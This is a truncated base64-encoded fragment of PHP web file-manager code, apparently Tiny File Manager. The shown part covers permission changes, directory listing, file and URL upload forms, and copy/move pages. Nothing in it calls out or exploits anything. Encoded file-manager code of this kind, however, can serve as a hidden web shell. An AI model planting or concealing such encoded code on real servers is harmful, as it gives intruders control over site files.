CAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9US